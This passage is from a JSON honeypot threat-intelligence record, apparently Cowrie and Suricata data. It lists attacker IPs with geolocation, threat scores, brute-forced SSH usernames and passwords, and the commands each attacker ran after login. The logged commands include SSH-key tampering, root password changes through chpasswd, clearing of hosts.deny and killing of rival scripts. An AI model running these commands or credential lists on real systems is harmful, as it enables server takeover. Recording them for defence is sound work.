      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:PppoSOKyCsPv\"|chpasswd|bash",
        "echo \"root:SjMIX3WEDJP7\"|chpasswd|bash",
        "echo \"root:lrVSHLBJ984J\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Raipur",
      "asn": 45117,
      "as_org": "Ishans Network",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:17:49.622000+00:00",
        "last_seen_30d": "2026-05-19T10:45:07.731000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 459,
        "Suricata": 127
      }
    },
    "43.157.98.118": {
      "attack_count": 312,
      "first_seen": "2026-05-09T09:17:21.775Z",
      "last_seen": "2026-05-31T13:29:37.904Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev02",
        "user",
        "user3",
        "admin",
        "administrator",
        "adminsys",
        "appuser",
        "bitrix",
        "debian",
        "desktop",
        "devuser",
        "frappe",
        "hduser",
        "ldapuser",
        "misuser",
        "mp",
        "nagiosadmin"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "102030",
        "123321",
        "12345",
        "1qaz2wsx",
        "1qaz@WSX",
        "222222222",
        "555555",
        "Changeme_123",
        "P@ssword",
        "Qwert@123",
        "abc123",
        "admin123#@!",
        "admin1234.",
        "admin256",
        "admin_!@#",
        "appuser",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dev02\\n6pMMTeIrlq7O\\n6pMMTeIrlq7O\\n\"|passwd",
        "echo -e \"dev02\\n6pMMTeIrlq7O\\n6pMMTeIrlq7O\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 421,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:17:21.775000+00:00",
        "last_seen_30d": "2026-05-31T13:30:46.223000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 109
      }
    },
    "188.166.215.16": {
      "attack_count": 286,
      "first_seen": "2026-05-23T17:48:32.884Z",
      "last_seen": "2026-05-29T19:00:15.278Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "alfresco",
        "anton",
        "deployer",
        "erika",
        "openeuler",
        "postmaster",
        "redis",
        "rizal",
        "test2",
        "testuser",
        "tomas",
        "unifi",
        "vaibhav"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QA@WS#ED$RF",
        "1!deshine",
        "123!@#qwe",
        "123123",
        "123456",
        "1234567",
        "Admin123!",
        "Asdfghjkl;'",
        "Frank@123",
        "Pa$$w0rd",
        "Pp123456",
        "Qq1234567890",
        "Zaq1xsw2",
        "alfresco",
        "anton",
        "asd112233",
        "babu",
        "cxthhhhh.com"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZOuFvQCwoV2f\"|chpasswd|bash",
        "echo \"root:vtCTy3K9xwKI\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:48:32.884000+00:00",
        "last_seen_30d": "2026-05-29T19:01:17.494000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 82
      }
    },
    "138.84.211.46": {
      "attack_count": 234,
      "first_seen": "2026-05-20T18:24:17.733Z",
      "last_seen": "2026-05-21T06:28:02.192Z",
      "sessions": 117,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "New Bothwell",
      "asn": 396420,
      "as_org": "Valley Fiber Ltd.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:24:17.733000+00:00",
        "last_seen_30d": "2026-05-21T06:29:10.338000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 234,
        "Suricata": 116
      }
    },
    "112.103.205.41": {
      "attack_count": 232,
      "first_seen": "2026-05-19T23:05:59.810Z",
      "last_seen": "2026-05-20T12:13:11.030Z",
      "sessions": 116,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:05:59.810000+00:00",
        "last_seen_30d": "2026-05-20T12:14:19.015000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 121
      }
    },
    "182.217.16.126": {
      "attack_count": 219,
      "first_seen": "2026-05-07T14:39:43.642Z",
      "last_seen": "2026-05-07T15:16:04.410Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "test",
        "ubuntu",
        "user",
        "alireza",
        "345gs5662d34",
        "demouser",
        "dev",
        "developer",
        "ftptest",
        "guest7",
        "oracle",
        "root",
        "testftp",
        "testy",
        "userguest"
      ],
      "passwords_attempted": [
        "1234",
        "!qaz2wsx",
        "010101",
        "123654789",
        "1q2w3e4r5t",
        "1qa@WS3ed$RF",
        "2wsx@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "414141",
        "P@ssw0rd!",
        "Password01",
        "Password@1",
        "QWEdsa1@#",
        "Zxcasd123",
        "aA@123456789",
        "abc1234",
        "abcd1234",
        "admin1!",
        "demouser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nCnPhpURnFIq2\\nCnPhpURnFIq2\\n\"|passwd",
        "echo -e \"1234\\nCnPhpURnFIq2\\nCnPhpURnFIq2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:39:43.642000+00:00",
        "last_seen_30d": "2026-05-07T15:17:08.736000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "54.38.52.18": {
      "attack_count": 219,
      "first_seen": "2026-05-02T11:23:36.970Z",
      "last_seen": "2026-05-02T12:00:46.214Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "deployer",
        "steam",
        "345gs5662d34",
        "administrador",
        "digitalizacion",
        "ec2-user",
        "es",
        "ftptest",
        "ftpuser",
        "gitlab",
        "hadoopuser",
        "node",
        "test",
        "tester",
        "user1"
      ],
      "passwords_attempted": [
        "12345678",
        "123qwe",
        "!@#$%",
        "1",
        "123123",
        "123456",
        "1993",
        "1q2w3e4r",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Passw0rd",
        "Passwd1",
        "Password",
        "abc@1234",
        "admin$$$",
        "admin1",
        "admin1122",
        "administrador1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1993\\nmG23kne3HMDh\\nmG23kne3HMDh\\n\"|passwd",
        "echo -e \"1993\\nmG23kne3HMDh\\nmG23kne3HMDh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:23:36.970000+00:00",
        "last_seen_30d": "2026-05-02T12:01:52.038000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "81.192.46.49": {
      "attack_count": 219,
      "first_seen": "2026-05-04T07:54:20.184Z",
      "last_seen": "2026-05-04T08:25:14.979Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "test001",
        "user",
        "345gs5662d34",
        "admin8",
        "administrator",
        "demo",
        "ftptest",
        "ftpuser",
        "git",
        "hadoop",
        "kafka",
        "maxadmin",
        "pzuser",
        "root",
        "test",
        "testa",
        "testuser",
        "user-backup"
      ],
      "passwords_attempted": [
        "1234",
        "!qaz2wsx3edc",
        "1122334455",
        "123456789",
        "123456a@",
        "123456aaa",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123!@#",
        "abc@123",
        "admin8",
        "administrator!",
        "demotest",
        "iloveyou",
        "kafka321",
        "maxadmin",
        "newpass",
        "pass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n7gQz5BM14a3d\\n7gQz5BM14a3d\\n\"|passwd",
        "echo -e \"password\\n7gQz5BM14a3d\\n7gQz5BM14a3d\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:54:20.184000+00:00",
        "last_seen_30d": "2026-05-04T08:26:19.106000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "165.154.22.124": {
      "attack_count": 218,
      "first_seen": "2026-05-27T22:53:47.813Z",
      "last_seen": "2026-05-27T23:17:50.125Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dong",
        "s1",
        "admin",
        "erpnext",
        "guest",
        "harshit",
        "hydra",
        "kevin",
        "solar",
        "testuser",
        "webuser",
        "xray"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "@1qaz2wsx",
        "Qwer@4321",
        "Root2026!",
        "dasha",
        "dong",
        "fjbdfdjkdsfs541544",
        "harshit",
        "hydra",
        "root",
        "s1",
        "solar",
        "test@123",
        "webuser123",
        "xray"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"dong\\nfi6gRO3mU4cR\\nfi6gRO3mU4cR\\n\"|passwd",
        "echo \"s1\\n1zDIF4no8O2h\\n1zDIF4no8O2h\\n\"|passwd",
        "echo -e \"dong\\nfi6gRO3mU4cR\\nfi6gRO3mU4cR\"|passwd|bash",
        "echo -e \"s1\\n1zDIF4no8O2h\\n1zDIF4no8O2h\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:53:47.813000+00:00",
        "last_seen_30d": "2026-05-27T23:18:50.894000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 45
      }
    },
    "190.119.63.98": {
      "attack_count": 211,
      "first_seen": "2026-05-31T22:10:39.092Z",
      "last_seen": "2026-05-31T22:40:17.606Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "alberto",
        "aluno",
        "ammar",
        "diego",
        "erpuser",
        "minecraft",
        "ospite",
        "test",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Cc123456789",
        "Master2023",
        "Qq123456789.",
        "Qq@123456",
        "a",
        "admin123456.",
        "alberto",
        "aluno",
        "ammar",
        "newpassword123",
        "password",
        "q",
        "testtest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7pIJ16CwflpO\"|chpasswd|bash",
        "echo \"root:UTBbdh5cSTr2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:10:39.092000+00:00",
        "last_seen_30d": "2026-05-31T22:41:24.367000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 44
      }
    },
    "172.191.178.196": {
      "attack_count": 197,
      "first_seen": "2026-05-25T04:15:46.316Z",
      "last_seen": "2026-05-25T07:59:38.592Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vpnuser",
        "345gs5662d34",
        "gmodserver",
        "guest",
        "odoo",
        "user",
        "webapp"
      ],
      "passwords_attempted": [
        "12345678",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin123",
        "b",
        "fjbdfdjkdsfs541544@@",
        "gmod",
        "q",
        "webapp"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nhHga0c2Xa4dV\\nhHga0c2Xa4dV\\n\"|passwd",
        "echo \"12345678\\nwb6M7FZpffc6\\nwb6M7FZpffc6\\n\"|passwd",
        "echo -e \"12345678\\nhHga0c2Xa4dV\\nhHga0c2Xa4dV\"|passwd|bash",
        "echo -e \"12345678\\nwb6M7FZpffc6\\nwb6M7FZpffc6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:15:46.316000+00:00",
        "last_seen_30d": "2026-05-25T08:00:39.638000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 47
      }
    },
    "113.160.150.99": {
      "attack_count": 173,
      "first_seen": "2026-05-21T18:16:14.558Z",
      "last_seen": "2026-05-21T19:43:41.362Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "socks"
      ],
      "passwords_attempted": [
        "1234!Qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "66666666",
        "Admin123..",
        "Bc123456",
        "Jia123456",
        "Ld123456.",
        "Le123456@",
        "Mm@123456789",
        "My@123456",
        "Xk123456",
        "Zxcv123$",
        "aaa123321",
        "alex",
        "beyond",
        "csp",
        "node2025",
        "qwert123@",
        "socks"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1pjIzx7LPLBH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:16:14.558000+00:00",
        "last_seen_30d": "2026-05-21T19:44:46.526000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "208.69.84.112": {
      "attack_count": 168,
      "first_seen": "2026-05-17T15:59:53.434Z",
      "last_seen": "2026-05-17T16:27:55.716Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "it",
        "root1",
        "user7",
        "wli"
      ],
      "passwords_attempted": [
        "1",
        "123123123",
        "1234",
        "12345Qwert",
        "1qazZAQ!@",
        "302010",
        "3245gs5662d34",
        "345gs5662d34",
        "Apple@2024",
        "Long@123",
        "Master123",
        "P@ssw1rd",
        "Power123",
        "Server2026#",
        "Vps@2024",
        "Woaini1314",
        "aaaa1111",
        "admin2023",
        "expand",
        "root@123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cb5QOq9GalK2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
